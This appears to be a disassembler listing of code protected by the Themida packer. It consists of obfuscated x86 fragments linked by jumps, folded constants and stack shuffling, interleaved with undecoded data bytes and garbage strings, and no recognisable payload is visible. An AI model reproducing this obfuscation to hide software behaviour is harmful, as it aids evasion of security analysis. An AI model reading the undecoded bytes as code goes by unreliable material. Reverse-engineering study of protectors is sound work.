		jmp	loc_556FA7
; ---------------------------------------------------------------------------
		dd 4B850h, 6C810000h, 215E0424h, 44815358h, 22D90424h
		dd 44014DBCh, 6C810424h, 22D90424h, 44814DBCh, 215E0424h
		dd 5A585358h, 0FFF647E9h, 4EC83FFh, 0E9240C89h,	4C6Ch
		dd 0C9E9E5D1h, 58FFFFFCh, 0E9241C87h, 837Eh, 5B04C483h
		dd 32A8E9h, 0CDE95B00h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5509D7:				; CODE XREF: Themida_:0055495Bj
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 55C06E8Dh
		not	ebp
		add	ebp, 52E8161Ch
		add	ebp, 2D85876h
		jmp	loc_552E77
; ---------------------------------------------------------------------------
aYqsZ		db 'YQéÜz',0
		dw 8100h
		dd 2ECh, 1C896600h, 0F1B45024h,	0EC80C4FEh, 0B7EC8083h
		dd 58B9E9h, 24143100h, 0E9241433h, 0BC7h, 0E903EEC0h, 0BDEh
		dd 0FFE01BE9h, 54C781FFh, 56216376h, 0F00A32BEh, 5EF70172h
		dd 243C8758h, 48B665Ch,	4AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550A5E:				; CODE XREF: Themida_:00556FFAj
		mov	[esp], edi
		mov	edi, 925472Dh
		jmp	loc_5578D7
; ---------------------------------------------------------------------------
		db 0FFh
		dd 55582434h, 0FFFA52E9h, 54E95DFFh, 100003Fh, 565B5BDAh
		dd 5896E9h, 3E1C100h, 4FB6BD55h, 0E6E9459Ah, 0F7000038h
		dd 0B5E94DD5h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550A9B:				; CODE XREF: Themida_:00559114j
		push	161h
		mov	[esp], esp
		jmp	loc_558EBB
; ---------------------------------------------------------------------------
		dd offset byte_569168
		dd 24048900h, 58E9E089h, 5600003Eh, 7207E4BEh, 5EF10155h
		dd 53006858h, 13E90000h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550ACB:				; CODE XREF: Themida_:005544CBj
		push	5F79h
		mov	[esp], ebx
		mov	ebx, 2000000h
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_54FBFD
; ---------------------------------------------------------------------------


loc_550AEC:				; CODE XREF: Themida_:00554269j
		pop	esi
		add	[esp+4], ebp
		jmp	loc_552CAD
; ---------------------------------------------------------------------------


loc_550AF6:				; CODE XREF: Themida_:005501D0j
		push	4AF4h
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_5542DC
; ---------------------------------------------------------------------------
		db 89h
		dd 8BF889CFh, 0C483243Ch, 0EA815904h, 79260A5Ah, 0C768C201h
		dd 89000054h, 5AB82404h, 179260Ah, 0F933E9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550B32:				; CODE XREF: Themida_:00555BC1j
		neg	esi
		shl	esi, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 53FC5FE3h
		neg	eax
		push	esi
		jmp	loc_559343
; ---------------------------------------------------------------------------


loc_550B4D:				; CODE XREF: Themida_:00554B96j
		push	ebp
		mov	ebp, 7B445011h
		xor	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 7B445011h
		jmp	loc_55A1EE
; ---------------------------------------------------------------------------
		dd 0FF24248Bh, 515A2434h, 6DE9E189h, 83FFFFE9h,	0F7FF2404h
		dd 0E95E2414h, 0B3Bh, 4B951h, 4C010000h, 5A590424h, 4C281h
		dd 0B9510000h, 1996063Ah, 6B22BB53h, 81433866h,	0FF16D4F3h
		dd 0FAEB815Ah, 81382A3Dh, 9E716CF3h, 0E9D93106h, 7232h
; ---------------------------------------------------------------------------


loc_550BBC:				; CODE XREF: Themida_:0054F133j
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_54EA5C
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0EFh
		dd 7FC0B3Ch, 0C781D701h, 7FC0B3Ch, 9B2C781h, 575A0072h
		dd 42474FFh, 24048F5Fh,	0E924248Bh, 8DB5h
; ---------------------------------------------------------------------------


loc_550BF0:				; CODE XREF: Themida_:00553FA2j
		push	1298h
		mov	[esp], edx
		mov	edx, 100h
		and	eax, edx
		jmp	loc_54FEF1
; ---------------------------------------------------------------------------
aShL		db '[Sh|L',0
		dw 0E900h
		dd 66C3h
; ---------------------------------------------------------------------------


loc_550C10:				; CODE XREF: Themida_:0054F86Ej
		sub	al, 0DFh
		pop	ecx
		push	bx
		push	eax
		mov	al, 66h
		dec	al
		jmp	loc_55102C
; ---------------------------------------------------------------------------
		db 55h
		dd 2C3696BDh, 5DEF296Eh, 20A1CF81h, 0F7811DBBh,	0DFBB2CB5h
		dd 875FF929h, 895C240Ch, 0E6892434h, 13B268h, 24048900h
		dd 468h, 0EE815800h, 6DF33771h,	0FFDEB7E9h, 4EC81FFh, 89000000h
		dd 83B82404h, 48729764h, 0E8C1D8F7h, 0A1F6E908h, 0EEB80000h
		dd 815EFB49h, 4ECh, 242C8900h, 835326BDh, 3FED682Eh, 4890000h
		dd 3312B824h, 0C5310046h, 23BF5758h, 2958623Dh,	0F7555FFDh
		dd 2FE92414h, 1FFFFEFh,	43EE81C6h, 5874AC65h, 5058EE81h
		dd 0C601611Fh, 5058C681h, 0EE81611Fh, 5740274Ch, 81E18951h
		dd 4C1h, 4BD5500h, 29000000h, 0C335DE9h, 240C3124h, 0E9240C33h
		dd 871Eh, 0B252C300h, 254DE9BAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550CEE:				; CODE XREF: Themida_:005527D9j
		or	edx, 794E6E25h
		xor	edx, 797D6F67h
		mov	edi, edx
		mov	edx, [esp]
		push	edi
		jmp	loc_557646
; ---------------------------------------------------------------------------
aBVIS1s		db 'ÂÇ=vÞ‰Óé1S',0
		align 2
		dw 5056h
		dd 0A685553h, 0E95E6969h, 1847h, 2851EE81h, 0EE0133FBh
		dd 2851C681h, 0C68133FBh, 298E6B2Eh, 2EE835Dh, 0E9243433h
		dd 0FFFFF618h
; ---------------------------------------------------------------------------


loc_550D40:				; CODE XREF: Themida_:005534F6j
		add	esp, 4
		push	ebx
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 45B464A5h
		mov	edi, ebx
		jmp	loc_5555AC
; ---------------------------------------------------------------------------


loc_550D5A:				; CODE XREF: Themida_:0055103Bj
		sub	al, bh
		pop	ebx
		jmp	loc_55B026
; ---------------------------------------------------------------------------
		dw 2959h
		dd 0FC55E9C3h, 0F201FFFFh, 8124348Bh, 4C4h, 3D4CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550D7A:				; CODE XREF: Themida_:0055A0A3j
		xor	edx, 0EA7EDC9Dh
		mov	eax, edx
		pop	edx
		dec	eax
		and	eax, 300729A9h
		jmp	loc_5596E2
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 1002E904h, 0C1040000h, 0C388D834h, 8E2C58h, 32E951D8h
		dd 5000007Dh, 0CC809EB4h, 80C4FEDAh, 0CCFE6DECh, 0C480DCF6h
		dd 8BE1886Bh, 0C4832404h, 66B65204h, 0F028CE2Ch, 80DAB353h
		dd 0E3D086CBh, 0EB80DBF6h, 0F148E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550DDA:				; CODE XREF: Themida_:005530EAj
		mov	[esp], ebx
		mov	ebx, esp
		push	esi
		mov	esi, 17135A08h
		push	edx
		mov	edx, 17135A04h
		sub	esi, edx
		pop	edx
		add	ebx, esi
		pop	esi
		push	254Eh
		mov	[esp], edx
		push	esi
		mov	esi, 0D263D12h
		sub	esi, 35383EE5h
		xor	esi, 0D943D2Dh
		xor	esi, 5C4E7CC6h
		xor	esi, 708256E3h
		and	esi, 50DB7B2Ch
		xor	esi, 674030DCh
		mov	edx, esi
		pop	esi
		push	ebx
		mov	ebx, 0DF745FAh
		jmp	loc_54F6A1
; ---------------------------------------------------------------------------
		db 56h,	53h, 0BBh
		dd 565E3630h, 0CB81D3F7h, 4BF95B3Ah, 0EB81E3D1h, 0C9807FD9h
		dd 440E9h, 4C48300h, 4C281h, 52E90000h,	31000085h, 1C33241Ch
		dd 8E1FE924h, 0E6C00000h, 0DE21E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550E6E:				; CODE XREF: Themida_:00552975j
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		or	edx, eax
		jmp	loc_5555B4
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 0E924148Bh, 679Bh,	4C681h,	0EE810000h, 4
		dd 8B243487h, 2C892424h, 5AEE924h, 0F2680000h, 8900002Eh
		dd 0E6892434h, 0E77DE957h, 48FFFFFh, 62EBE924h,	90350000h
		dd 355D0816h, 0D02139F0h, 0EE9C631h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550ED7:				; CODE XREF: Themida_:005510F0j
		pop	ebx
		add	ebp, ecx
		jmp	loc_554FA1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 24041058h, 0DF7BE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550EEE:				; CODE XREF: Themida_:0054F511j
		push	edx
		mov	edx, esp
		push	esi
		jmp	loc_5556FF
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0C4832404h, 24048F04h, 2404285Ch,	0DB4EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550F0E:				; CODE XREF: Themida_:00550064j
		xor	esi, [esp]
		jmp	loc_556ABC
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 89243C89h, 4EC83E7h, 0B9240C89h, 340804BAh, 5850B850h
		dd 0C1096D79h, 0FEF18158h, 17D795Ch, 240C8BCFh,	4C481h
		dd 31E90000h, 5D00005Ah, 48F6B951h, 21E940E7h, 5200007Bh
		dd 95F55CBAh, 0E9D10144h, 4720h, 5524048Fh, 4BDh, 246C0100h
		dd 565D5D04h, 4BEh, 36EFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550F7E:				; CODE XREF: Themida_:005551CEj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	eax
		jmp	loc_552098
; ---------------------------------------------------------------------------


loc_550F8E:				; CODE XREF: Themida_:00559EACj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55191F
; ---------------------------------------------------------------------------
		dd 7F25E958h, 2C330000h, 24248B24h, 6DDFE9h, 2474FF00h
		dd 2434FF04h, 0FFDD3DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550FB9:				; CODE XREF: Themida_:005506F6j
		mov	edx, 8F15C0CBh
		jmp	loc_558247
; ---------------------------------------------------------------------------
		db 81h
		dd 0F00EFAF2h, 5AD30159h, 13E9D301h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550FD3:				; CODE XREF: Themida_:00553BA0j
		add	eax, ecx
		jmp	loc_55A380
; ---------------------------------------------------------------------------


loc_550FDA:				; CODE XREF: Themida_:005503CAj
		mov	cl, bl
		mov	dl, cl
		pop	ecx
		pop	ebx
		jmp	loc_557300
; ---------------------------------------------------------------------------


loc_550FE5:				; CODE XREF: Themida_:0054F555j
		and	dl, 96h
		sub	dl, 1
		xor	dl, 0A5h
		add	bl, 13h
		jmp	loc_559F39
; ---------------------------------------------------------------------------
		dw 0C683h
		dd 727E902h, 0DD290000h, 9D0DE9h, 59C82900h, 45A5C381h
		dd 0C3817528h, 10DA5FB2h, 37B3E9h, 2C126800h, 14890000h
		dd 0DA36E924h, 0E951FFFFh, 24D9h
; ---------------------------------------------------------------------------


loc_55102C:				; CODE XREF: Themida_:00550C1Aj
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 3Bh
		inc	bh
		neg	bh
		add	bh, 0B5h
		jmp	loc_550D5A
; ---------------------------------------------------------------------------
		dd 0DC3DE956h, 0C180FFFFh, 66C82810h, 81240C8Bh, 4ECh
		dd 79F8E900h, 3C890000h, 62E95324h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551063:				; CODE XREF: Themida_:00559B86j
		add	ecx, 2
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		movsx	cx, al
		push	3D61h
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5563BE
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 9AC7E9h, 0E9C83100h, 0FFFFFCAEh
; ---------------------------------------------------------------------------


loc_5510B4:				; CODE XREF: Themida_:00553603j
		push	ebp
		mov	ebp, 56270A02h
		mov	eax, ebp
		pop	ebp
		push	edi
		mov	edi, 5746481h
		neg	edi
		add	edi, 41027348h
		shr	edi, 8
		jmp	loc_54FB86
; ---------------------------------------------------------------------------
		db 33h
		dd 895C2434h, 4682414h,	0E900006Eh, 6159h, 0F35C1835h
		dd 51DDE94Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5510EE:				; CODE XREF: Themida_:0054FEC9j
		mov	ecx, ebx
		jmp	loc_550ED7
; ---------------------------------------------------------------------------
		db 51h,	0B1h, 88h
		dd 0C059CF88h, 0C78004E7h, 3C18049h, 0E980F900h, 0EB805B03h
		dd 0E95166A3h, 0FFFFF2CDh, 4BDh, 5DE80100h, 368B68h, 243C8900h
		dd 8956E9h
		db 0
; ---------------------------------------------------------------------------


loc_551129:				; CODE XREF: Themida_:0055140Aj
		mov	[esp], ecx
		push	308Bh
		mov	[esp], ebx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		sub	dword ptr [esp], 8333429h
		pop	ebx
		add	ebx, 8333429h
		push	ebx
		add	dword ptr [esp], 60250E81h
		pop	eax
		push	ebx
		mov	ebx, 4D817608h
		jmp	loc_555028
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0B0505266h, 348D241Ch, 685A3429h,	3E2Dh, 0E9241C89h
		dd 51B4h
; ---------------------------------------------------------------------------


loc_55117C:				; CODE XREF: Themida_:0054FB1Aj
		pop	edx
		mov	ebx, edi
		jmp	loc_5522BF
; ---------------------------------------------------------------------------
aZRShc		db '-z-à(éh–',0
		align 2
		dw 835Bh
		dd 0FF5102C1h, 8B042474h, 8953240Ch, 0E1BE56E3h, 8154BB7Eh
		dd 448123C6h, 10EFE9ABh, 0E9810000h, 60796226h,	240C335Dh
		dd 33240C31h, 4DE9240Ch, 0FF000013h, 57523877h,	8027E9h
		dd 8BE58800h, 0C4832404h, 0C8C58004h, 0ED80D528h, 0E8005AC8h
		dd 0B2526659h, 0AB0506Eh, 8058C208h, 0DAF64DF2h, 0EA80C2FEh
		dd 682CA0h, 4EC81D0h, 89000000h, 68B3241Ch, 0D8000D04h
		dd 665B0D2Ch, 5124148Bh, 0C1815954h, 4,	2C181h,	0EC810000h
		dd 4, 62DEE9h, 0D9C78100h, 5B12D562h, 12AFE9h, 0E6895600h
		dd 4C681h, 8CE90000h, 5CFFFFF1h, 9C2424D2h, 2328E9h
		db 0
; ---------------------------------------------------------------------------


loc_55124D:				; CODE XREF: Themida_:00552A6Bj
		add	ebx, edi
		pop	edi
		add	esi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 4
		sub	esi, ebx
		pop	ebx
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_55393D
; ---------------------------------------------------------------------------
aLS8		db '‹$$é)8',0
		align 2
		dw 15Bh
		dd 242C8BEFh, 815A5452h, 4C2h, 8220E900h, 89560000h, 4EC83E6h
		dd 0FFF094E9h, 5BDE89FFh, 0AAE9F789h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551297:				; CODE XREF: Themida_:00551BB8j
		pop	esp
		jmp	loc_54F506
; ---------------------------------------------------------------------------
aWVr9sum	db 'W¿ÕVR9éum',0
		align 4
		dd 83241C8Bh, 0AF6804C4h, 8900007Ch, 0CCB42404h, 58E228h
		dd 665A66D0h, 0E9550D68h, 0FFFFDCACh, 815EF701h, 0D2725ECFh
		dd 8EFC160h, 33A9BE56h,	0EE811B11h, 1C012E9Fh, 4347E9h
		dd 52B95100h, 81320E33h, 1D3E4EF1h, 0D0C98165h,	0E9355D55h
		dd 5DC6h
; ---------------------------------------------------------------------------


loc_5512FC:				; CODE XREF: Themida_:005546BCj
		mov	[esp], ebx
		jmp	loc_553DAE
; ---------------------------------------------------------------------------
		dd 2B3B63B9h, 5E9C178h,	6146BB53h, 0E3812C7Bh, 3C212254h
		dd 5E76EB81h, 0D3F74EDFh, 55BECB81h, 0F38146F1h, 69053128h
		dd 0D5E9D909h, 5600008Eh, 88E3E9h, 0B7C38100h, 15FB069h
		dd 9350E9F3h, 8B660000h, 20682404h, 89000041h, 0E589242Ch
		dd 64ADE9h, 7CCD8100h, 81252514h, 212F4AC5h, 0D4E58139h
		dd 81259D1Eh, 0F22B7AF5h, 0E9E8893Ah, 33C4h, 34FFF800h
		dd 0C4815B24h, 4, 81E78957h, 4C7h, 4EF8300h, 5C243C87h
		dd 68241489h, 7223h, 0B0240489h, 8BC28881h, 0FDE92404h
		dd 89FFFFEBh, 405E0h, 0EC810000h, 4, 4BDDE9h, 26EE8000h
		dd 0F65AF330h, 0B5B551DBh, 0FFE785E9h, 4C483FFh, 4BF57h
		dd 0FA010000h, 0B951535Fh, 2, 0C8BCB89h, 0E285E924h, 815CFFFFh
		dd 9104B8C3h, 716BE916h, 0F9880000h, 0F5C1805Bh, 6676C180h
		dd 0B2B65250h, 8253E9h
		db 0
; ---------------------------------------------------------------------------


loc_551409:				; CODE XREF: Themida_:0054F501j
		pop	esp
		jmp	loc_551129
; ---------------------------------------------------------------------------
		db 33h
		dd 0C31240Ch, 240C3324h, 0F8BA525Ch, 0E93BCB15h, 9451h
		dd 8B2434FFh, 0E9562404h, 7ABBh, 4865E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551436:				; CODE XREF: Themida_:00553FF5j
		pop	ecx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5525F9
; ---------------------------------------------------------------------------


loc_551446:				; CODE XREF: Themida_:0054F84Aj
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		xchg	ecx, edi
		jmp	loc_557214
; ---------------------------------------------------------------------------


loc_551454:				; CODE XREF: Themida_:00557022j
		mov	[esp], ebp
		jmp	loc_5594C9
; ---------------------------------------------------------------------------
		dd 2434FF54h, 52242C8Bh, 0C2815A54h, 4,	4C281h,	14870000h
		dd 0C4835C24h, 4C58104h, 52000000h, 2BAh, 7F5EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55148A:				; CODE XREF: Themida_:00559147j
		pop	ebp
		jmp	loc_5561C1
; ---------------------------------------------------------------------------


loc_551490:				; CODE XREF: Themida_:00550284j
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 0Ah
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		pop	edx
		push	36ADh
		mov	[esp], esi
		push	edx
		xor	dword ptr [esp], 7E6F0528h
		pop	esi
		xor	esi, 7E6F0528h
		jmp	loc_55A1AD
; ---------------------------------------------------------------------------
		dd 51D4CE80h, 0FFE8A7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5514CD:				; CODE XREF: Themida_:00559599j
		pop	ecx
		dec	edi
		xor	edi, 37241A85h
		xor	edi, 1B7F055Ah
		jmp	loc_5589B2
; ---------------------------------------------------------------------------
		dd 0F63042C7h, 5022DA63h, 30B8h, 52D00100h, 6A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5514F5:				; CODE XREF: Themida_:00555B02j
		xchg	edi, [esp]
		pop	esp
		imul	cx
		push	small 5CCEh
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_54EA5C
; ---------------------------------------------------------------------------
		dd 14685553h, 5D484720h, 451ED81h, 17E9E4EAh, 8100001Fh
		dd 6C0EE1F1h, 7F6BE903h, 0E1D10000h, 738FE9h, 8BDA8900h
		dd 86E9241Ch
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55153B:				; CODE XREF: Themida_:00552CC9j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_555F92
; ---------------------------------------------------------------------------


loc_551547:				; CODE XREF: Themida_:00559CAFj
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	edx
		jmp	loc_556FF4
; ---------------------------------------------------------------------------
aUst		db 'Uéâ+',0
		dd 0E9DD0100h, 0FFFFFCFAh
; ---------------------------------------------------------------------------


loc_551574:				; CODE XREF: Themida_:0054FD2Aj
		mov	ebp, esp
		jmp	loc_55492B
; ---------------------------------------------------------------------------
		db 89h
		dd 16BF243Ch, 810EA321h, 121751EFh, 0E0F78154h,	816CE86Ah
		dd 0F10C5CCFh, 79F7813Bh, 1FFF96Fh, 0C1815FF9h,	4, 0FFFE66E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5515A9:				; CODE XREF: Themida_:005585B7j
		pop	esi
		pop	edi
		not	edi
		xchg	edi, esi
		jmp	loc_550061
; ---------------------------------------------------------------------------
		dd 48BC329h, 4C48124h, 0C1000000h, 0C14B06E3h, 0C38106E3h
		dd 17F149DEh, 6862BA52h, 0A5E9F558h, 0B800006Ah, 4, 345CED81h
		dd 0C5017F95h, 345CC581h, 48B7F95h, 4C48124h, 83000000h
		dd 0E3E904C5h, 5CFFFFEAh, 0FFD45BE9h, 0ED6853FFh, 8B00E779h
		dd 84E9241Ch
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55160F:				; CODE XREF: Themida_:0055AFBFj
		mov	esp, [esp]
		imul	ecx, eax
		jmp	loc_558C3C
; ---------------------------------------------------------------------------
aAu_s		db '€î_é ',0Ah,0
		align 2
aH4		db 'h4<',0
		dw 8900h
		dd 67B9240Ch, 5700D16Bh, 0E904EC83h, 52EFh, 0BA05C581h
		dd 0EA019322h, 0D0B8505Dh, 571EFB77h, 609BBE56h, 0F7895BB0h
		dd 5FF8295Eh, 2BA0BA52h, 0EA815592h, 5536D725h,	0CEE9D031h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551667:				; CODE XREF: Themida_:00557D87j
		mov	esp, [esp]
		jmp	loc_5592DC
; ---------------------------------------------------------------------------
		db 83h
		dd 48704E8h, 14895C24h,	51E28924h, 4B9h, 59CA0100h, 2680E9h
		dd 4C48100h, 28000000h,	45204D8h, 62E9514Bh, 83000028h
		dd 1C8904ECh, 4BB24h, 0EF810000h, 12D562D9h, 76E9DF01h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5516B3:				; CODE XREF: Themida_:005503B0j
		add	dword ptr [esp], 30935974h
		jmp	loc_557E5D
; ---------------------------------------------------------------------------
		db 81h
		dd 1C6h, 52EE8100h, 5176183Bh, 0C94D47B9h, 93C98133h, 0E920E95Dh
		dd 1996h, 240C8B66h, 0D53E951h,	0EB800000h, 0B4C3808Ch
		dd 95C380h, 0F23FE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5516F6:				; CODE XREF: Themida_:00557E09j
		push	esi
		mov	esi, 7EC95E1Ch
		sub	esi, 442B534Eh
		jmp	loc_5561DD
; ---------------------------------------------------------------------------
		db 31h
		dd 0D2F75DEAh, 6547E9h
		db 0
; ---------------------------------------------------------------------------


loc_551711:				; CODE XREF: Themida_:0054F8E7j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_559085
; ---------------------------------------------------------------------------
		db 68h,	0EBh, 1
		dd 34890000h, 2474FF24h, 2434FF04h, 698DE9h, 0E3E38100h
		dd 811E7319h, 0FE68FEC3h, 0E9DF29EDh, 0FFFFEEDAh, 24048B66h
		dd 6CD568h, 24048900h, 199DE954h, 565A0000h, 4BEh, 0E9F52900h
		dd 1C48h, 4756052Dh, 8FE9590Ah,	5300002Dh, 8740E9h
		db 0
; ---------------------------------------------------------------------------


loc_55177D:				; CODE XREF: Themida_:0054F0BAj
		mov	[esp], edx
		mov	edx, 129E6510h
		xor	[esp+4], edx
		push	dword ptr [esp]
		jmp	loc_554A25
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6658669Dh, 9C240411h, 0FFD2BBE9h, 0F7815DFFh, 77DE1BC1h
		dd 24348157h, 13A2350h,	0E95E9h, 241C8B00h, 8104C483h
		dd 4C3h, 4EB8100h, 33000000h, 1C31241Ch, 711FE924h, 88B20000h
		dd 57B05066h, 5866C230h, 8904EC83h, 0B0B1240Ch,	0C007E1C0h
		dd 0C18004E9h, 59CA005Eh, 1E9C6853h, 0FFE90000h, 0E9000075h
		dd 0FFFFD25Ch, 0FFEAA5E9h, 81C380FFh, 0FFC0B60Fh, 58E98734h
		dd 0E9FFFFF2h, 0FFFFD244h, 0FFFFFFBBh, 5BDA01FFh, 2C2FBD55h
		dd 0EA812CB9h, 630063A7h, 0C281EA29h, 630063A7h, 5AD1015Dh
		dd 5C240C87h, 5455F9F7h, 60AF685Dh, 14890000h, 0C2BE5624h
		dd 46352317h, 19CDBB53h, 0E3C12EC9h, 6BEB8104h,	29C45D77h
		dd 4A6DE9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551866:				; CODE XREF: Themida_:00551C87j
		pop	esp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55AC38
; ---------------------------------------------------------------------------


loc_551870:				; CODE XREF: Themida_:00554889j
		shl	ebx, 1
		push	edx
		jmp	loc_559339
; ---------------------------------------------------------------------------
		dd 48BC301h, 4C48124h, 87000000h, 248B241Ch, 49F16824h
		dd 63E90000h, 2D000046h, 17AD30A8h, 0B951E801h,	4B14229h
		dd 6DEFC181h, 0D9F77E5Ch, 2163C181h, 0D9F7453Ah, 6F94E981h
		dd 4BE93A80h, 6600007Dh, 66251668h, 66241489h, 91E99C50h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5518CB:				; CODE XREF: Themida_:00558E7Aj
		add	esp, 4
		xor	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	745h
		jmp	loc_555C2B
; ---------------------------------------------------------------------------
		dw 0C183h
		dd 0FFC181FFh, 81FFFFFFh, 0C705FE9h, 0E9C80182h, 9848h
		dd 0E2C2815Ah, 0E9372702h, 0FFFFF3F1h, 8304C483h, 0B7E904C4h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55191F:				; CODE XREF: Themida_:00550F97j
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_55655A
; ---------------------------------------------------------------------------
		dd 895DEF89h, 0BA525FFAh, 27A11745h, 0F281D2F7h, 224F5716h
		dd 507AE9h, 0C8B6600h, 0EC815324h, 4, 83242489h, 5B042404h
		dd 39BAB951h, 0D1F77F99h, 8107E1C1h, 9CDD84C1h,	3AEB81CCh
		dd 1200D5Eh, 3AC381CBh,	8B200D5Eh, 3EE9240Ch, 0B9000004h
		dd 5EC725DAh, 86E9D1F7h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551997:				; CODE XREF: Themida_:0055B077j
		mov	[esp], ecx
		push	eax
		push	3270175Ah
		jmp	loc_54ED11
; ---------------------------------------------------------------------------


loc_5519A5:				; CODE XREF: Themida_:005563B9j
		pop	esp
		push	ecx
		push	esp
		jmp	loc_5558BC
; ---------------------------------------------------------------------------
		db 0BAh, 0F3h, 65h
		dd 0E2810567h, 0CB25E3Fh, 8553E9h, 0FFC08300h, 0E8C1D0F7h
		dd 0B0BB5303h, 319D7FE2h, 85D6E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5519D2:				; CODE XREF: Themida_:0055596Fj
		add	ebp, ebx
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	56AAh
		mov	[esp], edi
		push	80h
		mov	edi, [esp]
		jmp	loc_5507D9
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 0CACF50C2h, 3E8905ADh, 0D0013AACh, 0AC3E892Dh, 0E9565A3Ah
		dd 0FFFFEEF0h, 3EDB951h, 31E9058Fh, 5C000064h, 54241489h
		dd 0CDBD555Ah, 0C128F61Dh, 0CD8103EDh, 2A386B3Ch, 2DCBCD81h
		dd 0C1450AB4h, 0ED8108E5h, 0BEEFFFFCh, 34FFEA01h, 0C4815D24h
		dd 4, 1DD9E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551A52:				; CODE XREF: Themida_:0054F899j
		pop	esp
		and	ecx, edi
		mov	edi, [esp]
		push	edi
		jmp	loc_559F61
; ---------------------------------------------------------------------------
		dw 159h
		dd 84EB81C3h, 5875496Bh, 0E9241C87h, 73CEh, 70CDE954h
		dd 81B50000h, 6859E888h, 5324h,	88241C89h, 5BFA88C7h
